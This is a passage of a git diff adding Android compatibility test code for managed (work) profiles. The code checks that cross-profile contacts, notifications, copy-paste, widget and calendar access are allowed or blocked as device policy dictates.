+ "testManagedProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
+ mProfileUserId);
+ // Managed user cannot use ENTERPRISE_CONTENT_FILTER_URI to access
+ // primary contacts
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfileEnterprisePhoneLookup_canNotAccessPrimaryContact",
+ mProfileUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfileEnterpriseEmailLookup_canNotAccessPrimaryContact",
+ mProfileUserId);
+ // When there exist contacts with the same phone/email in primary &
+ // enterprise,
+ // managed user can use ENTERPRISE_CONTENT_FILTER_URI to access the
+ // enterprise contact.
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfileEnterpriseEmailLookupDuplicated_canAccessEnterpriseContact",
+ mProfileUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfileEnterprisePhoneLookupDuplicated_canAccessEnterpriseContact",
+ mProfileUserId);
+
+ // Check if phone lookup can access primary directories
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryDirectories",
+ mParentUserId);
+
+ // Check if email lookup can access primary directories
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryDirectories",
+ mParentUserId);
+
+ if (expected) {
+ // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
+ // managed profile contacts
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
+ mParentUserId);
+
+ // Make sure SIP enterprise lookup works too.
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseSipLookup_canAccessEnterpriseContact",
+ mParentUserId);
+
+ // Check if phone lookup can access enterprise directories
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneLookup_canAccessManagedDirectories",
+ mParentUserId);
+
+ // Check if email lookup can access enterprise directories
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseEmailLookup_canAccessManagedDirectories",
+ mParentUserId);
+ } else {
+ // Primary user cannot use ENTERPRISE_CONTENT_FILTER_URI to
+ // access managed contacts
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneLookup_canNotAccessEnterpriseContact",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
+ mParentUserId);
+
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseEmailLookup_canNotAccessManagedDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
+ mParentUserId);
+ }
+ }
+
+ public void checkIfCanFilterSelfContacts() throws DeviceNotAvailableException {
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseCallableFilter_canAccessPrimaryDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfileEnterpriseCallableFilter_canAccessManagedDirectories",
+ mProfileUserId);
+
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseEmailFilter_canAccessPrimaryDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testEnterpriseProfileEnterpriseEmailFilter_canAccessManagedDirectories",
+ mProfileUserId);
+
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseContactFilter_canAccessPrimaryDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfileEnterpriseContactFilter_canAccessManagedDirectories",
+ mProfileUserId);
+
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneFilter_canAccessPrimaryDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testManagedProfileEnterprisePhoneFilter_canAccessManagedDirectories",
+ mProfileUserId);
+ }
+
+ public void checkIfCanFilterEnterpriseContacts(boolean expected)
+ throws DeviceNotAvailableException {
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testFilterUriWhenDirectoryParamMissing", mParentUserId);
+ if (expected) {
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseCallableFilter_canAccessManagedDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseEmailFilter_canAccessManagedDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseContactFilter_canAccessManagedDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneFilter_canAccessManagedDirectories",
+ mParentUserId);
+ } else {
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseCallableFilter_canNotAccessManagedDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseEmailFilter_canNotAccessManagedDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseContactFilter_canNotAccessManagedDirectories",
+ mParentUserId);
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterprisePhoneFilter_canNotAccessManagedDirectories",
+ mParentUserId);
+ }
+ }
+
+ public void checkIfNoEnterpriseDirectoryFound() throws DeviceNotAvailableException {
+ runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+ "testPrimaryProfileEnterpriseDirectories_canNotAccessManagedDirectories",
+ mParentUserId);
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
new file mode 100644
index 0000000..5feb67a
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
@@ -0,0 +1,593 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+import android.stats.devicepolicy.EventId;
+
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+
+import org.junit.Test;
+
+import java.util.Collections;
+
+public class ManagedProfileCrossProfileTest extends BaseManagedProfileTest {
+ private static final String NOTIFICATION_APK = "CtsNotificationSenderApp.apk";
+ private static final String WIDGET_PROVIDER_APK = "CtsWidgetProviderApp.apk";
+ private static final String WIDGET_PROVIDER_PKG = "com.android.cts.widgetprovider";
+ private static final String PARAM_PROFILE_ID = "profile-id";
+
+ @LargeTest
+ @Test
+ public void testCrossProfileIntentFilters() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ // Set up activities: ManagedProfileActivity will only be enabled in the managed profile and
+ // PrimaryUserActivity only in the primary one
+ disableActivityForUser("ManagedProfileActivity", mParentUserId);
+ disableActivityForUser("PrimaryUserActivity", mProfileUserId);
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+ MANAGED_PROFILE_PKG + ".ManagedProfileTest", mProfileUserId);
+
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ManagedProfileTest",
+ "testAddCrossProfileIntentFilter_all", mProfileUserId);
+ }, new DevicePolicyEventWrapper.Builder(EventId.ADD_CROSS_PROFILE_INTENT_FILTER_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .setInt(1)
+ .setStrings("com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY")
+ .build());
+ }
+
+ // Set up filters from primary to managed profile
+ String command = "am start -W --user " + mProfileUserId + " " + MANAGED_PROFILE_PKG
+ + "/.PrimaryUserFilterSetterActivity";
+ LogUtil.CLog.d("Output for command " + command + ": "
+ + getDevice().executeShellCommand(command));
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".PrimaryUserTest", mParentUserId);
+ // TODO: Test with startActivity
+ }
+
+ @FlakyTest
+ @Test
+ public void testCrossProfileContent() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ // Storage permission shouldn't be granted, we check if missing permissions are respected
+ // in ContentTest#testSecurity.
+ installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, USER_ALL);
+ installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+
+ // Test from parent to managed
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+ "testRemoveAllFilters", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+ "testAddManagedCanAccessParentFilters", mProfileUserId);
+ runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mParentUserId);
+
+ // Test from managed to parent
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+ "testRemoveAllFilters", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+ "testAddParentCanAccessManagedFilters", mProfileUserId);
+ runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mProfileUserId);
+
+ }
+
+ @FlakyTest
+ @Test
+ public void testCrossProfileNotificationListeners_EmptyWhitelist() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ installAppAsUser(NOTIFICATION_APK, USER_ALL);
+
+ // Profile owner in the profile sets an empty whitelist
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testSetEmptyWhitelist", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ // Listener outside the profile can only see personal notifications.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testCannotReceiveProfileNotifications", mParentUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
+ @Test
+ public void testCrossProfileNotificationListeners_NullWhitelist() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ installAppAsUser(NOTIFICATION_APK, USER_ALL);
+
+ // Profile owner in the profile sets a null whitelist
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testSetNullWhitelist", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ // Listener outside the profile can see profile and personal notifications
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testCanReceiveNotifications", mParentUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
+ @Test
+ public void testCrossProfileNotificationListeners_InWhitelist() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ installAppAsUser(NOTIFICATION_APK, USER_ALL);
+
+ // Profile owner in the profile adds listener to the whitelist
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testAddListenerToWhitelist", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ // Listener outside the profile can see profile and personal notifications
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testCanReceiveNotifications", mParentUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
+ @Test
+ public void testCrossProfileNotificationListeners_setAndGet() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ installAppAsUser(NOTIFICATION_APK, USER_ALL);
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
+ "testSetAndGetPermittedCrossProfileNotificationListeners", mProfileUserId,
+ Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
+ }
+
+ @FlakyTest
+ @Test
+ public void testCrossProfileCopyPaste() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+ installAppAsUser(INTENT_SENDER_APK, USER_ALL);
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+ "testAllowCrossProfileCopyPaste", mProfileUserId);
+ // Test that managed can see what is copied in the parent.
+ testCrossProfileCopyPasteInternal(mProfileUserId, true);
+ // Test that the parent can see what is copied in managed.
+ testCrossProfileCopyPasteInternal(mParentUserId, true);
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+ "testDisallowCrossProfileCopyPaste", mProfileUserId);
+ // Test that managed can still see what is copied in the parent.
+ testCrossProfileCopyPasteInternal(mProfileUserId, true);
+ // Test that the parent cannot see what is copied in managed.
+ testCrossProfileCopyPasteInternal(mParentUserId, false);
+ }
+
+ private void testCrossProfileCopyPasteInternal(int userId, boolean shouldSucceed)
+ throws DeviceNotAvailableException {
+ final String direction = (userId == mParentUserId)
+ ? "testAddManagedCanAccessParentFilters"
+ : "testAddParentCanAccessManagedFilters";
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+ "testRemoveAllFilters", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+ direction, mProfileUserId);
+ if (shouldSucceed) {
+ runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
+ "testCanReadAcrossProfiles", userId);
+ } else {
+ runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
+ "testCannotReadAcrossProfiles", userId);
+ }
+ }
+
+ @FlakyTest
+ @Test
+ public void testCrossProfileWidgets() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
+ getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
+ + " --package " + WIDGET_PROVIDER_PKG);
+ setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
+ startWidgetHostService();
+
+ String commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
+ "add-cross-profile-widget", mProfileUserId);
+ assertTrue("Command was expected to succeed " + commandOutput,
+ commandOutput.contains("Status: ok"));
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
+ "testCrossProfileWidgetProviderAdded", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+ ".CrossProfileWidgetPrimaryUserTest",
+ "testHasCrossProfileWidgetProvider_true", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+ ".CrossProfileWidgetPrimaryUserTest",
+ "testHostReceivesWidgetUpdates_true", mParentUserId);
+
+ commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
+ "remove-cross-profile-widget", mProfileUserId);
+ assertTrue("Command was expected to succeed " + commandOutput,
+ commandOutput.contains("Status: ok"));
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
+ "testCrossProfileWidgetProviderRemoved", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+ ".CrossProfileWidgetPrimaryUserTest",
+ "testHasCrossProfileWidgetProvider_false", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+ ".CrossProfileWidgetPrimaryUserTest",
+ "testHostReceivesWidgetUpdates_false", mParentUserId);
+ } finally {
+ changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG, "remove-cross-profile-widget",
+ mProfileUserId);
+ getDevice().uninstallPackage(WIDGET_PROVIDER_PKG);
+ }
+ }
+
+ @FlakyTest
+ @Test
+ public void testCrossProfileWidgetsLogged() throws Exception {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
+ return;
+ }
+
+ try {
+ installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
+ getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
+ + " --package " + WIDGET_PROVIDER_PKG);
+ setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
+ startWidgetHostService();
+
+ assertMetricsLogged(getDevice(), () -> {
+ changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
+ "add-cross-profile-widget", mProfileUserId);
+ changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
+ "remove-cross-profile-widget", mProfileUserId);
+ }, new DevicePolicyEventWrapper
+ .Builder(EventId.ADD_CROSS_PROFILE_WIDGET_PROVIDER_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .build(),
+ new DevicePolicyEventWrapper
+ .Builder(EventId.REMOVE_CROSS_PROFILE_WIDGET_PROVIDER_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .build());
+ } finally {
+ changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG, "remove-cross-profile-widget",
+ mProfileUserId);
+ getDevice().uninstallPackage(WIDGET_PROVIDER_PKG);
+ }
+ }
+
+ @Test
+ public void testCrossProfileCalendarPackage() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ assertMetricsLogged(getDevice(), () -> {
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testCrossProfileCalendarPackage", mProfileUserId);
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_CROSS_PROFILE_CALENDAR_PACKAGES_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .setStrings(MANAGED_PROFILE_PKG)
+ .build());
+ }
+
+ @FlakyTest
+ @Test
+ public void testCrossProfileCalendar() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runCrossProfileCalendarTestsWhenWhitelistedAndEnabled();
+ runCrossProfileCalendarTestsWhenAllPackagesWhitelisted();
+ runCrossProfileCalendarTestsWhenDisabled();
+ runCrossProfileCalendarTestsWhenNotWhitelisted();
+ }
+
+ @Test
+ public void testSetCrossProfilePackages_notProfileOwner_throwsSecurityException()
+ throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".CrossProfileTest",
+ "testSetCrossProfilePackages_notProfileOwner_throwsSecurityException",
+ mProfileUserId);
+ }
+
+ @Test
+ public void testGetCrossProfilePackages_notProfileOwner_throwsSecurityException()
+ throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".CrossProfileTest",
+ "testGetCrossProfilePackages_notProfileOwner_throwsSecurityException",
+ mProfileUserId);
+ }
+
+ @Test
+ public void testGetCrossProfilePackages_notSet_returnsEmpty()
+ throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".CrossProfileTest",
+ "testGetCrossProfilePackages_notSet_returnsEmpty",
+ mProfileUserId);
+ }
+
+ @Test
+ public void testGetCrossProfilePackages_whenSetTwice_returnsLatestNotConcatenated()
+ throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".CrossProfileTest",
+ "testGetCrossProfilePackages_whenSetTwice_returnsLatestNotConcatenated",
+ mProfileUserId);
+ }
+
+ @Test
+ public void testGetCrossProfilePackages_whenSet_returnsEqual()
+ throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".CrossProfileTest",
+ "testGetCrossProfilePackages_whenSet_returnsEqual",
+ mProfileUserId);
+ }
+
+ @FlakyTest
+ @Test
+ public void testDisallowSharingIntoPersonalFromProfile() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ // Set up activities: PrimaryUserActivity will only be enabled in the personal user
+ // This activity is used to find out the ground truth about the system's cross profile
+ // intent forwarding activity.
+ disableActivityForUser("PrimaryUserActivity", mProfileUserId);
+
+ // Tests from the profile side
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+ ".DisallowSharingIntoProfileTest", "testSharingFromProfile", mProfileUserId);
+ }
+
+ @Test
+ public void testDisallowSharingIntoProfileFromPersonal() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ // Set up activities: ManagedProfileActivity will only be enabled in the managed profile
+ // This activity is used to find out the ground truth about the system's cross profile
+ // intent forwarding activity.
+ disableActivityForUser("ManagedProfileActivity", mParentUserId);
+
+ // Tests from the personal side, which is mostly driven from host side.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+ "testSetUp", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+ "testDisableSharingIntoProfile", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+ "testSharingFromPersonalFails", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+ "testEnableSharingIntoProfile", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
+ "testSharingFromPersonalSucceeds", mParentUserId);
+ }
+
+ private void runCrossProfileCalendarTestsWhenWhitelistedAndEnabled() throws Exception {
+ try {
+ // Setup. Add the test package into cross-profile calendar whitelist, enable
+ // cross-profile calendar in settings, and insert test data into calendar provider.
+ // All setups should be done in managed profile.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testWhitelistManagedProfilePackage", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testAddTestCalendarDataForWorkProfile", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testEnableCrossProfileCalendarSettings", mProfileUserId);
+
+ // Testing.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
+ } finally {
+ // Cleanup.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testCleanupWhitelist", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testDisableCrossProfileCalendarSettings", mProfileUserId);
+ }
+ }
+
+ private void runCrossProfileCalendarTestsWhenAllPackagesWhitelisted() throws Exception {
+ try {
+ // Setup. Allow all packages to access cross-profile calendar APIs by setting
+ // the whitelist to null, enable cross-profile calendar in settings,
+ // and insert test data into calendar provider.
+ // All setups should be done in managed profile.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testWhitelistAllPackages", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testAddTestCalendarDataForWorkProfile", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testEnableCrossProfileCalendarSettings", mProfileUserId);
+
+ // Testing.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
+ } finally {
+ // Cleanup.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testCleanupWhitelist", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testDisableCrossProfileCalendarSettings", mProfileUserId);
+ }
+ }
+
+ private void runCrossProfileCalendarTestsWhenDisabled() throws Exception {
+ try {
+ // Setup. Add the test package into cross-profile calendar whitelist,
+ // and insert test data into calendar provider. But disable cross-profile calendar
+ // in settings. Thus cross-profile calendar Uris should not be accessible.
+ // All setups should be done in managed profile.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testWhitelistManagedProfilePackage", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testAddTestCalendarDataForWorkProfile", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testDisableCrossProfileCalendarSettings", mProfileUserId);
+
+ // Testing.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
